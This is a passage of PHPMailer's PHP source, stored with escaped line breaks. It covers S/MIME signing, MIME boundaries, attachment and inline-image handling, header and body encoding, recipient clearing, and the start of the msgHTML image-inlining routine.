phpmailerException($this->lang(\'extension_missing\') . \'openssl\');\n                }\n                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1\n                $file = tempnam(sys_get_temp_dir(), \'mail\');\n                if (false === file_put_contents($file, $body)) {\n                    throw new phpmailerException($this->lang(\'signing\') . \' Could not write temp file\');\n                }\n                $signed = tempnam(sys_get_temp_dir(), \'signed\');\n                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197\n                if (empty($this->sign_extracerts_file)) {\n                    $sign = @openssl_pkcs7_sign(\n                        $file,\n                        $signed,\n                        \'file://\' . realpath($this->sign_cert_file),\n                        array(\'file://\' . realpath($this->sign_key_file), $this->sign_key_pass),\n                        null\n                    );\n                } else {\n                    $sign = @openssl_pkcs7_sign(\n                        $file,\n                        $signed,\n                        \'file://\' . realpath($this->sign_cert_file),\n                        array(\'file://\' . realpath($this->sign_key_file), $this->sign_key_pass),\n                        null,\n                        PKCS7_DETACHED,\n                        $this->sign_extracerts_file\n                    );\n                }\n                if ($sign) {\n                    @unlink($file);\n                    $body = file_get_contents($signed);\n                    @unlink($signed);\n                    //The message returned by openssl contains both headers and body, so need to split them up\n                    $parts = explode("\\n\\n", $body, 2);\n                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n                    $body = $parts[1];\n                } else {\n                    @unlink($file);\n                    @unlink($signed);\n                    throw new phpmailerException($this->lang(\'signing\') . openssl_error_string());\n                }\n            } catch (phpmailerException $exc) {\n                $body = \'\';\n                if ($this->exceptions) {\n                    throw $exc;\n                }\n            }\n        }\n        return $body;\n    }\n\n    /**\n     * Return the start of a message boundary.\n     * @access protected\n     * @param string $boundary\n     * @param string $charSet\n     * @param string $contentType\n     * @param string $encoding\n     * @return string\n     */\n    protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n    {\n        $result = \'\';\n        if ($charSet == \'\') {\n            $charSet = $this->CharSet;\n        }\n        if ($contentType == \'\') {\n            $contentType = $this->ContentType;\n        }\n        if ($encoding == \'\') {\n            $encoding = $this->Encoding;\n        }\n        $result .= $this->textLine(\'--\' . $boundary);\n        $result .= sprintf(\'Content-Type: %s; charset=%s\', $contentType, $charSet);\n        $result .= $this->LE;\n        // RFC1341 part 5 says 7bit is assumed if not specified\n        if ($encoding != \'7bit\') {\n            $result .= $this->headerLine(\'Content-Transfer-Encoding\', $encoding);\n        }\n        $result .= $this->LE;\n\n        return $result;\n    }\n\n    /**\n     * Return the end of a message boundary.\n     * @access protected\n     * @param string $boundary\n     * @return string\n     */\n    protected function endBoundary($boundary)\n    {\n        return $this->LE . \'--\' . $boundary . \'--\' . $this->LE;\n    }\n\n    /**\n     * Set the message type.\n     * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n     * @access protected\n     * @return void\n     */\n    protected function setMessageType()\n    {\n        $type = array();\n        if ($this->alternativeExists()) {\n            $type[] = \'alt\';\n        }\n        if ($this->inlineImageExists()) {\n            $type[] = \'inline\';\n        }\n        if ($this->attachmentExists()) {\n            $type[] = \'attach\';\n        }\n        $this->message_type = implode(\'_\', $type);\n        if ($this->message_type == \'\') {\n            //The \'plain\' message_type refers to the message having a single body element, not that it is plain-text\n            $this->message_type = \'plain\';\n        }\n    }\n\n    /**\n     * Format a header line.\n     * @access public\n     * @param string $name\n     * @param string $value\n     * @return string\n     */\n    public function headerLine($name, $value)\n    {\n        return $name . \': \' . $value . $this->LE;\n    }\n\n    /**\n     * Return a formatted mail line.\n     * @access public\n     * @param string $value\n     * @return string\n     */\n    public function textLine($value)\n    {\n        return $value . $this->LE;\n    }\n\n    /**\n     * Add an attachment from a path on the filesystem.\n     * Never use a user-supplied path to a file!\n     * Returns false if the file could not be found or read.\n     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n     * @param string $path Path to the attachment.\n     * @param string $name Overrides the attachment name.\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type File extension (MIME) type.\n     * @param string $disposition Disposition to use\n     * @throws phpmailerException\n     * @return boolean\n     */\n    public function addAttachment($path, $name = \'\', $encoding = \'base64\', $type = \'\', $disposition = \'attachment\')\n    {\n        try {\n            if (!self::isPermittedPath($path) or !@is_file($path)) {\n                throw new phpmailerException($this->lang(\'file_access\') . $path, self::STOP_CONTINUE);\n            }\n\n            // If a MIME type is not specified, try to work it out from the file name\n            if ($type == \'\') {\n                $type = self::filenameToType($path);\n            }\n\n            $filename = basename($path);\n            if ($name == \'\') {\n                $name = $filename;\n            }\n\n            $this->attachment[] = array(\n                0 => $path,\n                1 => $filename,\n                2 => $name,\n                3 => $encoding,\n                4 => $type,\n                5 => false, // isStringAttachment\n                6 => $disposition,\n                7 => 0\n            );\n\n        } catch (phpmailerException $exc) {\n            $this->setError($exc->getMessage());\n            $this->edebug($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n            return false;\n        }\n        return true;\n    }\n\n    /**\n     * Return the array of attachments.\n     * @return array\n     */\n    public function getAttachments()\n    {\n        return $this->attachment;\n    }\n\n    /**\n     * Attach all file, string, and binary attachments to the message.\n     * Returns an empty string on failure.\n     * @access protected\n     * @param string $disposition_type\n     * @param string $boundary\n     * @return string\n     */\n    protected function attachAll($disposition_type, $boundary)\n    {\n        // Return text of body\n        $mime = array();\n        $cidUniq = array();\n        $incl = array();\n\n        // Add all attachments\n        foreach ($this->attachment as $attachment) {\n            // Check if it is a valid disposition_filter\n            if ($attachment[6] == $disposition_type) {\n                // Check for string attachment\n                $string = \'\';\n                $path = \'\';\n                $bString = $attachment[5];\n                if ($bString) {\n                    $string = $attachment[0];\n                } else {\n                    $path = $attachment[0];\n                }\n\n                $inclhash = md5(serialize($attachment));\n                if (in_array($inclhash, $incl)) {\n                    continue;\n                }\n                $incl[] = $inclhash;\n                $name = $attachment[2];\n                $encoding = $attachment[3];\n                $type = $attachment[4];\n                $disposition = $attachment[6];\n                $cid = $attachment[7];\n                if ($disposition == \'inline\' && array_key_exists($cid, $cidUniq)) {\n                    continue;\n                }\n                $cidUniq[$cid] = true;\n\n                $mime[] = sprintf(\'--%s%s\', $boundary, $this->LE);\n                //Only include a filename property if we have one\n                if (!empty($name)) {\n                    $mime[] = sprintf(\n                        \'Content-Type: %s; name="%s"%s\',\n                        $type,\n                        $this->encodeHeader($this->secureHeader($name)),\n                        $this->LE\n                    );\n                } else {\n                    $mime[] = sprintf(\n                        \'Content-Type: %s%s\',\n                        $type,\n                        $this->LE\n                    );\n                }\n                // RFC1341 part 5 says 7bit is assumed if not specified\n                if ($encoding != \'7bit\') {\n                    $mime[] = sprintf(\'Content-Transfer-Encoding: %s%s\', $encoding, $this->LE);\n                }\n\n                if ($disposition == \'inline\') {\n                    $mime[] = sprintf(\'Content-ID: <%s>%s\', $cid, $this->LE);\n                }\n\n                // If a filename contains any of these chars, it should be quoted,\n                // but not otherwise: RFC2183 & RFC2045 5.1\n                // Fixes a warning in IETF\'s msglint MIME checker\n                // Allow for bypassing the Content-Disposition header totally\n                if (!(empty($disposition))) {\n                    $encoded_name = $this->encodeHeader($this->secureHeader($name));\n                    if (preg_match(\'/[ \\(\\)<>@,;:\\\\"\\/\\[\\]\\?=]/\', $encoded_name)) {\n                        $mime[] = sprintf(\n                            \'Content-Disposition: %s; filename="%s"%s\',\n                            $disposition,\n                            $encoded_name,\n                            $this->LE . $this->LE\n                        );\n                    } else {\n                        if (!empty($encoded_name)) {\n                            $mime[] = sprintf(\n                                \'Content-Disposition: %s; filename=%s%s\',\n                                $disposition,\n                                $encoded_name,\n                                $this->LE . $this->LE\n                            );\n                        } else {\n                            $mime[] = sprintf(\n                                \'Content-Disposition: %s%s\',\n                                $disposition,\n                                $this->LE . $this->LE\n                            );\n                        }\n                    }\n                } else {\n                    $mime[] = $this->LE;\n                }\n\n                // Encode as string attachment\n                if ($bString) {\n                    $mime[] = $this->encodeString($string, $encoding);\n                    if ($this->isError()) {\n                        return \'\';\n                    }\n                    $mime[] = $this->LE . $this->LE;\n                } else {\n                    $mime[] = $this->encodeFile($path, $encoding);\n                    if ($this->isError()) {\n                        return \'\';\n                    }\n                    $mime[] = $this->LE . $this->LE;\n                }\n            }\n        }\n\n        $mime[] = sprintf(\'--%s--%s\', $boundary, $this->LE);\n\n        return implode(\'\', $mime);\n    }\n\n    /**\n     * Encode a file attachment in requested format.\n     * Returns an empty string on failure.\n     * @param string $path The full path to the file\n     * @param string $encoding The encoding to use; one of \'base64\', \'7bit\', \'8bit\', \'binary\', \'quoted-printable\'\n     * @throws phpmailerException\n     * @access protected\n     * @return string\n     */\n    protected function encodeFile($path, $encoding = \'base64\')\n    {\n        try {\n            if (!self::isPermittedPath($path) or !file_exists($path)) {\n                throw new phpmailerException($this->lang(\'file_open\') . $path, self::STOP_CONTINUE);\n            }\n            $magic_quotes = false;\n            if( version_compare(PHP_VERSION, \'7.4.0\', \'<\') ) {\n                $magic_quotes = get_magic_quotes_runtime();\n            }\n            if ($magic_quotes) {\n                if (version_compare(PHP_VERSION, \'5.3.0\', \'<\')) {\n                    set_magic_quotes_runtime(false);\n                } else {\n                    //Doesn\'t exist in PHP 5.4, but we don\'t need to check because\n                    //get_magic_quotes_runtime always returns false in 5.4+\n                    //so it will never get here\n                    ini_set(\'magic_quotes_runtime\', false);\n                }\n            }\n            $file_buffer = file_get_contents($path);\n            $file_buffer = $this->encodeString($file_buffer, $encoding);\n            if ($magic_quotes) {\n                if (version_compare(PHP_VERSION, \'5.3.0\', \'<\')) {\n                    set_magic_quotes_runtime($magic_quotes);\n                } else {\n                    ini_set(\'magic_quotes_runtime\', $magic_quotes);\n                }\n            }\n            return $file_buffer;\n        } catch (Exception $exc) {\n            $this->setError($exc->getMessage());\n            return \'\';\n        }\n    }\n\n    /**\n     * Encode a string in requested format.\n     * Returns an empty string on failure.\n     * @param string $str The text to encode\n     * @param string $encoding The encoding to use; one of \'base64\', \'7bit\', \'8bit\', \'binary\', \'quoted-printable\'\n     * @access public\n     * @return string\n     */\n    public function encodeString($str, $encoding = \'base64\')\n    {\n        $encoded = \'\';\n        switch (strtolower($encoding)) {\n            case \'base64\':\n                $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n                break;\n            case \'7bit\':\n            case \'8bit\':\n                $encoded = $this->fixEOL($str);\n                // Make sure it ends with a line break\n                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n                    $encoded .= $this->LE;\n                }\n                break;\n            case \'binary\':\n                $encoded = $str;\n                break;\n            case \'quoted-printable\':\n                $encoded = $this->encodeQP($str);\n                break;\n            default:\n                $this->setError($this->lang(\'encoding\') . $encoding);\n                break;\n        }\n        return $encoded;\n    }\n\n    /**\n     * Encode a header string optimally.\n     * Picks shortest of Q, B, quoted-printable or none.\n     * @access public\n     * @param string $str\n     * @param string $position\n     * @return string\n     */\n    public function encodeHeader($str, $position = \'text\')\n    {\n        $matchcount = 0;\n        switch (strtolower($position)) {\n            case \'phrase\':\n                if (!preg_match(\'/[\\200-\\377]/\', $str)) {\n                    // Can\'t use addslashes as we don\'t know the value of magic_quotes_sybase\n                    $encoded = addcslashes($str, "\\0..\\37\\177\\\\\\"");\n                    if (($str == $encoded) && !preg_match(\'/[^A-Za-z0-9!#$%&\\\'*+\\/=?^_`{|}~ -]/\', $str)) {\n                        return ($encoded);\n                    } else {\n                        return ("\\"$encoded\\"");\n                    }\n                }\n                $matchcount = preg_match_all(\'/[^\\040\\041\\043-\\133\\135-\\176]/\', $str, $matches);\n                break;\n            /** @noinspection PhpMissingBreakStatementInspection */\n            case \'comment\':\n                $matchcount = preg_match_all(\'/[()"]/\', $str, $matches);\n                // Intentional fall-through\n            case \'text\':\n            default:\n                $matchcount += preg_match_all(\'/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]/\', $str, $matches);\n                break;\n        }\n\n        //There are no chars that need encoding\n        if ($matchcount == 0) {\n            return ($str);\n        }\n\n        $maxlen = 75 - 7 - strlen($this->CharSet);\n        // Try to select the encoding which should produce the shortest output\n        if ($matchcount > strlen($str) / 3) {\n            // More than a third of the content will need encoding, so B encoding will be most efficient\n            $encoding = \'B\';\n            if (function_exists(\'mb_strlen\') && $this->hasMultiBytes($str)) {\n                // Use a custom function which correctly encodes and wraps long\n                // multibyte strings without breaking lines within a character\n                $encoded = $this->base64EncodeWrapMB($str, "\\n");\n            } else {\n                $encoded = base64_encode($str);\n                $maxlen -= $maxlen % 4;\n                $encoded = trim(chunk_split($encoded, $maxlen, "\\n"));\n            }\n        } else {\n            $encoding = \'Q\';\n            $encoded = $this->encodeQ($str, $position);\n            $encoded = $this->wrapText($encoded, $maxlen, true);\n            $encoded = str_replace(\'=\' . self::CRLF, "\\n", trim($encoded));\n        }\n\n        $encoded = preg_replace(\'/^(.*)$/m\', \' =?\' . $this->CharSet . "?$encoding?\\\\1?=", $encoded);\n        $encoded = trim(str_replace("\\n", $this->LE, $encoded));\n\n        return $encoded;\n    }\n\n    /**\n     * Check if a string contains multi-byte characters.\n     * @access public\n     * @param string $str multi-byte text to wrap encode\n     * @return boolean\n     */\n    public function hasMultiBytes($str)\n    {\n        if (function_exists(\'mb_strlen\')) {\n            return (strlen($str) > mb_strlen($str, $this->CharSet));\n        } else { // Assume no multibytes (we can\'t handle without mbstring functions anyway)\n            return false;\n        }\n    }\n\n    /**\n     * Does a string contain any 8-bit chars (in any charset)?\n     * @param string $text\n     * @return boolean\n     */\n    public function has8bitChars($text)\n    {\n        return (boolean)preg_match(\'/[\\x80-\\xFF]/\', $text);\n    }\n\n    /**\n     * Encode and wrap long multibyte strings for mail headers\n     * without breaking lines within a character.\n     * Adapted from a function by paravoid\n     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283\n     * @access public\n     * @param string $str multi-byte text to wrap encode\n     * @param string $linebreak string to use as linefeed/end-of-line\n     * @return string\n     */\n    public function base64EncodeWrapMB($str, $linebreak = null)\n    {\n        $start = \'=?\' . $this->CharSet . \'?B?\';\n        $end = \'?=\';\n        $encoded = \'\';\n        if ($linebreak === null) {\n            $linebreak = $this->LE;\n        }\n\n        $mb_length = mb_strlen($str, $this->CharSet);\n        // Each line must have length <= 75, including $start and $end\n        $length = 75 - strlen($start) - strlen($end);\n        // Average multi-byte ratio\n        $ratio = $mb_length / strlen($str);\n        // Base64 has a 4:3 ratio\n        $avgLength = floor($length * $ratio * .75);\n\n        for ($i = 0; $i < $mb_length; $i += $offset) {\n            $lookBack = 0;\n            do {\n                $offset = $avgLength - $lookBack;\n                $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n                $chunk = base64_encode($chunk);\n                $lookBack++;\n            } while (strlen($chunk) > $length);\n            $encoded .= $chunk . $linebreak;\n        }\n\n        // Chomp the last linefeed\n        $encoded = substr($encoded, 0, -strlen($linebreak));\n        return $encoded;\n    }\n\n    /**\n     * Encode a string in quoted-printable format.\n     * According to RFC2045 section 6.7.\n     * @access public\n     * @param string $string The text to encode\n     * @param integer $line_max Number of chars allowed on a line before wrapping\n     * @return string\n     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment\n     */\n    public function encodeQP($string, $line_max = 76)\n    {\n        // Use native function if it\'s available (>= PHP5.3)\n        if (function_exists(\'quoted_printable_encode\')) {\n            return quoted_printable_encode($string);\n        }\n        // Fall back to a pure PHP implementation\n        $string = str_replace(\n            array(\'%20\', \'%0D%0A.\', \'%0D%0A\', \'%\'),\n            array(\' \', "\\r\\n=2E", "\\r\\n", \'=\'),\n            rawurlencode($string)\n        );\n        return preg_replace(\'/[^\\r\\n]{\' . ($line_max - 3) . \'}[^=\\r\\n]{2}/\', "$0=\\r\\n", $string);\n    }\n\n    /**\n     * Backward compatibility wrapper for an old QP encoding function that was removed.\n     * @see PHPMailer::encodeQP()\n     * @access public\n     * @param string $string\n     * @param integer $line_max\n     * @param boolean $space_conv\n     * @return string\n     * @deprecated Use encodeQP instead.\n     */\n    public function encodeQPphp(\n        $string,\n        $line_max = 76,\n        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false\n    ) {\n        return $this->encodeQP($string, $line_max);\n    }\n\n    /**\n     * Encode a string using Q encoding.\n     * @link http://tools.ietf.org/html/rfc2047\n     * @param string $str the text to encode\n     * @param string $position Where the text is going to be used, see the RFC for what that means\n     * @access public\n     * @return string\n     */\n    public function encodeQ($str, $position = \'text\')\n    {\n        // There should not be any EOL in the string\n        $pattern = \'\';\n        $encoded = str_replace(array("\\r", "\\n"), \'\', $str);\n        switch (strtolower($position)) {\n            case \'phrase\':\n                // RFC 2047 section 5.3\n                $pattern = \'^A-Za-z0-9!*+\\/ -\';\n                break;\n            /** @noinspection PhpMissingBreakStatementInspection */\n            case \'comment\':\n                // RFC 2047 section 5.2\n                $pattern = \'\\(\\)"\';\n                // intentional fall-through\n                // for this reason we build the $pattern without including delimiters and []\n            case \'text\':\n            default:\n                // RFC 2047 section 5.1\n                // Replace every high ascii, control, =, ? and _ characters\n                $pattern = \'\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377\' . $pattern;\n                break;\n        }\n        $matches = array();\n        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {\n            // If the string contains an \'=\', make sure it\'s the first thing we replace\n            // so as to avoid double-encoding\n            $eqkey = array_search(\'=\', $matches[0]);\n            if (false !== $eqkey) {\n                unset($matches[0][$eqkey]);\n                array_unshift($matches[0], \'=\');\n            }\n            foreach (array_unique($matches[0]) as $char) {\n                $encoded = str_replace($char, \'=\' . sprintf(\'%02X\', ord($char)), $encoded);\n            }\n        }\n        // Replace every spaces to _ (more readable than =20)\n        return str_replace(\' \', \'_\', $encoded);\n    }\n\n    /**\n     * Add a string or binary attachment (non-filesystem).\n     * This method can be used to attach ascii or binary data,\n     * such as a BLOB record from a database.\n     * @param string $string String attachment data.\n     * @param string $filename Name of the attachment.\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type File extension (MIME) type.\n     * @param string $disposition Disposition to use\n     * @return void\n     */\n    public function addStringAttachment(\n        $string,\n        $filename,\n        $encoding = \'base64\',\n        $type = \'\',\n        $disposition = \'attachment\'\n    ) {\n        // If a MIME type is not specified, try to work it out from the file name\n        if ($type == \'\') {\n            $type = self::filenameToType($filename);\n        }\n        // Append to $attachment array\n        $this->attachment[] = array(\n            0 => $string,\n            1 => $filename,\n            2 => basename($filename),\n            3 => $encoding,\n            4 => $type,\n            5 => true, // isStringAttachment\n            6 => $disposition,\n            7 => 0\n        );\n    }\n\n    /**\n     * Add an embedded (inline) attachment from a file.\n     * This can include images, sounds, and just about any other document type.\n     * These differ from \'regular\' attachments in that they are intended to be\n     * displayed inline with the message, not just attached for download.\n     * This is used in HTML messages that embed the images\n     * the HTML refers to using the $cid value.\n     * Never use a user-supplied path to a file!\n     * @param string $path Path to the attachment.\n     * @param string $cid Content ID of the attachment; Use this to reference\n     *        the content when using an embedded image in HTML.\n     * @param string $name Overrides the attachment name.\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type File MIME type.\n     * @param string $disposition Disposition to use\n     * @return boolean True on successfully adding an attachment\n     */\n    public function addEmbeddedImage($path, $cid, $name = \'\', $encoding = \'base64\', $type = \'\', $disposition = \'inline\')\n    {\n        if (!self::isPermittedPath($path) or !@is_file($path)) {\n            $this->setError($this->lang(\'file_access\') . $path);\n            return false;\n        }\n\n        // If a MIME type is not specified, try to work it out from the file name\n        if ($type == \'\') {\n            $type = self::filenameToType($path);\n        }\n\n        $filename = basename($path);\n        if ($name == \'\') {\n            $name = $filename;\n        }\n\n        // Append to $attachment array\n        $this->attachment[] = array(\n            0 => $path,\n            1 => $filename,\n            2 => $name,\n            3 => $encoding,\n            4 => $type,\n            5 => false, // isStringAttachment\n            6 => $disposition,\n            7 => $cid\n        );\n        return true;\n    }\n\n    /**\n     * Add an embedded stringified attachment.\n     * This can include images, sounds, and just about any other document type.\n     * Be sure to set the $type to an image type for images:\n     * JPEG images use \'image/jpeg\', GIF uses \'image/gif\', PNG uses \'image/png\'.\n     * @param string $string The attachment binary data.\n     * @param string $cid Content ID of the attachment; Use this to reference\n     *        the content when using an embedded image in HTML.\n     * @param string $name\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type MIME type.\n     * @param string $disposition Disposition to use\n     * @return boolean True on successfully adding an attachment\n     */\n    public function addStringEmbeddedImage(\n        $string,\n        $cid,\n        $name = \'\',\n        $encoding = \'base64\',\n        $type = \'\',\n        $disposition = \'inline\'\n    ) {\n        // If a MIME type is not specified, try to work it out from the name\n        if ($type == \'\' and !empty($name)) {\n            $type = self::filenameToType($name);\n        }\n\n        // Append to $attachment array\n        $this->attachment[] = array(\n            0 => $string,\n            1 => $name,\n            2 => $name,\n            3 => $encoding,\n            4 => $type,\n            5 => true, // isStringAttachment\n            6 => $disposition,\n            7 => $cid\n        );\n        return true;\n    }\n\n    /**\n     * Check if an inline attachment is present.\n     * @access public\n     * @return boolean\n     */\n    public function inlineImageExists()\n    {\n        foreach ($this->attachment as $attachment) {\n            if ($attachment[6] == \'inline\') {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Check if an attachment (non-inline) is present.\n     * @return boolean\n     */\n    public function attachmentExists()\n    {\n        foreach ($this->attachment as $attachment) {\n            if ($attachment[6] == \'attachment\') {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Check if this message has an alternative body set.\n     * @return boolean\n     */\n    public function alternativeExists()\n    {\n        return !empty($this->AltBody);\n    }\n\n    /**\n     * Clear queued addresses of given kind.\n     * @access protected\n     * @param string $kind \'to\', \'cc\', or \'bcc\'\n     * @return void\n     */\n    public function clearQueuedAddresses($kind)\n    {\n        $RecipientsQueue = $this->RecipientsQueue;\n        foreach ($RecipientsQueue as $address => $params) {\n            if ($params[0] == $kind) {\n                unset($this->RecipientsQueue[$address]);\n            }\n        }\n    }\n\n    /**\n     * Clear all To recipients.\n     * @return void\n     */\n    public function clearAddresses()\n    {\n        foreach ($this->to as $to) {\n            unset($this->all_recipients[strtolower($to[0])]);\n        }\n        $this->to = array();\n        $this->clearQueuedAddresses(\'to\');\n    }\n\n    /**\n     * Clear all CC recipients.\n     * @return void\n     */\n    public function clearCCs()\n    {\n        foreach ($this->cc as $cc) {\n            unset($this->all_recipients[strtolower($cc[0])]);\n        }\n        $this->cc = array();\n        $this->clearQueuedAddresses(\'cc\');\n    }\n\n    /**\n     * Clear all BCC recipients.\n     * @return void\n     */\n    public function clearBCCs()\n    {\n        foreach ($this->bcc as $bcc) {\n            unset($this->all_recipients[strtolower($bcc[0])]);\n        }\n        $this->bcc = array();\n        $this->clearQueuedAddresses(\'bcc\');\n    }\n\n    /**\n     * Clear all ReplyTo recipients.\n     * @return void\n     */\n    public function clearReplyTos()\n    {\n        $this->ReplyTo = array();\n        $this->ReplyToQueue = array();\n    }\n\n    /**\n     * Clear all recipient types.\n     * @return void\n     */\n    public function clearAllRecipients()\n    {\n        $this->to = array();\n        $this->cc = array();\n        $this->bcc = array();\n        $this->all_recipients = array();\n        $this->RecipientsQueue = array();\n    }\n\n    /**\n     * Clear all filesystem, string, and binary attachments.\n     * @return void\n     */\n    public function clearAttachments()\n    {\n        $this->attachment = array();\n    }\n\n    /**\n     * Clear all custom headers.\n     * @return void\n     */\n    public function clearCustomHeaders()\n    {\n        $this->CustomHeader = array();\n    }\n\n    /**\n     * Add an error message to the error container.\n     * @access protected\n     * @param string $msg\n     * @return void\n     */\n    protected function setError($msg)\n    {\n        $this->error_count++;\n        if ($this->Mailer == \'smtp\' and !is_null($this->smtp)) {\n            $lasterror = $this->smtp->getError();\n            if (!empty($lasterror[\'error\'])) {\n                $msg .= $this->lang(\'smtp_error\') . $lasterror[\'error\'];\n                if (!empty($lasterror[\'detail\'])) {\n                    $msg .= \' Detail: \'. $lasterror[\'detail\'];\n                }\n                if (!empty($lasterror[\'smtp_code\'])) {\n                    $msg .= \' SMTP code: \' . $lasterror[\'smtp_code\'];\n                }\n                if (!empty($lasterror[\'smtp_code_ex\'])) {\n                    $msg .= \' Additional SMTP info: \' . $lasterror[\'smtp_code_ex\'];\n                }\n            }\n        }\n        $this->ErrorInfo = $msg;\n    }\n\n    /**\n     * Return an RFC 822 formatted date.\n     * @access public\n     * @return string\n     * @static\n     */\n    public static function rfcDate()\n    {\n        // Set the time zone to whatever the default is to avoid 500 errors\n        // Will default to UTC if it\'s not set properly in php.ini\n        date_default_timezone_set(@date_default_timezone_get());\n        return date(\'D, j M Y H:i:s O\');\n    }\n\n    /**\n     * Get the server hostname.\n     * Returns \'localhost.localdomain\' if unknown.\n     * @access protected\n     * @return string\n     */\n    protected function serverHostname()\n    {\n        $result = \'localhost.localdomain\';\n        if (!empty($this->Hostname)) {\n            $result = $this->Hostname;\n        } elseif (isset($_SERVER) and array_key_exists(\'SERVER_NAME\', $_SERVER) and !empty($_SERVER[\'SERVER_NAME\'])) {\n            $result = $_SERVER[\'SERVER_NAME\'];\n        } elseif (function_exists(\'gethostname\') && gethostname() !== false) {\n            $result = gethostname();\n        } elseif (php_uname(\'n\') !== false) {\n            $result = php_uname(\'n\');\n        }\n        return $result;\n    }\n\n    /**\n     * Get an error message in the current language.\n     * @access protected\n     * @param string $key\n     * @return string\n     */\n    protected function lang($key)\n    {\n        if (count($this->language) < 1) {\n            $this->setLanguage(\'en\'); // set the default language\n        }\n\n        if (array_key_exists($key, $this->language)) {\n            if ($key == \'smtp_connect_failed\') {\n                //Include a link to troubleshooting docs on SMTP connection failure\n                //this is by far the biggest cause of support questions\n                //but it\'s usually not PHPMailer\'s fault.\n                return $this->language[$key] . \' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting\';\n            }\n            return $this->language[$key];\n        } else {\n            //Return the key as a fallback\n            return $key;\n        }\n    }\n\n    /**\n     * Check if an error occurred.\n     * @access public\n     * @return boolean True if an error did occur.\n     */\n    public function isError()\n    {\n        return ($this->error_count > 0);\n    }\n\n    /**\n     * Ensure consistent line endings in a string.\n     * Changes every end of line from CRLF, CR or LF to $this->LE.\n     * @access public\n     * @param string $str String to fixEOL\n     * @return string\n     */\n    public function fixEOL($str)\n    {\n        // Normalise to \\n\n        $nstr = str_replace(array("\\r\\n", "\\r"), "\\n", $str);\n        // Now convert LE as needed\n        if ($this->LE !== "\\n") {\n            $nstr = str_replace("\\n", $this->LE, $nstr);\n        }\n        return $nstr;\n    }\n\n    /**\n     * Add a custom header.\n     * $name value can be overloaded to contain\n     * both header name and value (name:value)\n     * @access public\n     * @param string $name Custom header name\n     * @param string $value Header value\n     * @return void\n     */\n    public function addCustomHeader($name, $value = null)\n    {\n        if ($value === null) {\n            // Value passed in as name:value\n            $this->CustomHeader[] = explode(\':\', $name, 2);\n        } else {\n            $this->CustomHeader[] = array($name, $value);\n        }\n    }\n\n    /**\n     * Returns all custom headers.\n     * @return array\n     */\n    public function getCustomHeaders()\n    {\n        return $this->CustomHeader;\n    }\n\n    /**\n     * Create a message body from an HTML string.\n     * Automatically inlines images and creates a plain-text version by converting the HTML,\n     * overwriting any existing values in Body and AltBody.\n     * Do not source $message content from user input!\n     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty\n     * will look for an image file in $basedir/images/a.png and convert it to inline.\n     * If you don\'t provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n     * If you don\'t want to apply these transformations to your HTML, just set Body and AltBody directly.\n     * @access public\n     * @param string $message HTML message string\n     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n     * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n     *    or your own custom converter @see PHPMailer::html2text()\n     * @return string $message The transformed message Body\n     */\n    public function msgHTML($message, $basedir = \'\', $advanced = false)\n    {\n        preg_match_all(\'/(src|background)=["\\\'](.*)["\\\']/Ui\', $message, $images);\n        if (array_key_exists(2, $images)) {\n            if (strlen($basedir) > 1 && substr($basedir, -1) != \'/\') {\n                // Ensure $basedir has a trailing /\n                $basedir .= \'/\';\n            }\n            foreach ($images[2] as $imgindex => $url) {\n                // Convert data URIs into embedded images\n                if (preg_match(\'#^data:(image[^;,]*)(;base64)?,#\', $url, $match)) {\n                    $data = substr($url, strpos($url, \',\'));\n                    if ($match[2]) {\n                        $data = base64_decode($data);\n                    } else {\n                        $data = rawurldecode($data);\n                    }\n                    $cid = md5($url) . \'@phpmailer.0\'; // RFC2392 S 2\n                    if ($this->addStringEmbeddedImage($data, $cid, \'embed\' . $imgindex, \'base64\', $match[1])) {\n                        $message = str_replace(\n                            $images[0][$imgindex],\n                            $images[1][$imgindex] . \'="cid:\' . $cid . \'"\',\n                            $message\n                        );\n                    }\n                    continue;\n                }\n                if (\n                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n                    !empty($basedir)\n                    // Ignore URLs containing parent dir traversal (..)\n                    && (strpos($url, \'..\') === false)\n                    // Do not change urls that are already inline images\n                    && substr($url, 0, 4) !== \'cid:\'\n                    // Do not change absolute URLs, including anonymous protocol\n                    && !preg_match(\'#^[a-z][a-z0-9+.-]*:?//#i\', $url)\n                ) {\n                    $filename = basename($url);\n                    $directory = dirname($url);\n                    if ($directory == \'.\') {\n                        $directory = \'\';\n                    }\n                    $cid = md5($url) . \'@phpmailer.0\'; // RFC2392 S 2\n                    if (strlen($directory) > 1 && substr($directory, -1) != \'/\') {\n                        $directory .= \'/\';\n                    }\n                    if ($this->addEmbeddedImage(\n                        $basedir . $directory . $filename,\n                        $cid,\n                        $filename,\n                        \'base64\',\n                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n                    )\n                    ) {\n                        $message = preg_replace(\n                            \'/\' . $images[1][$imgindex] . \'=["\\\']\' . preg_quote($url, \'/\') . \'["\\\']/Ui\',\n                            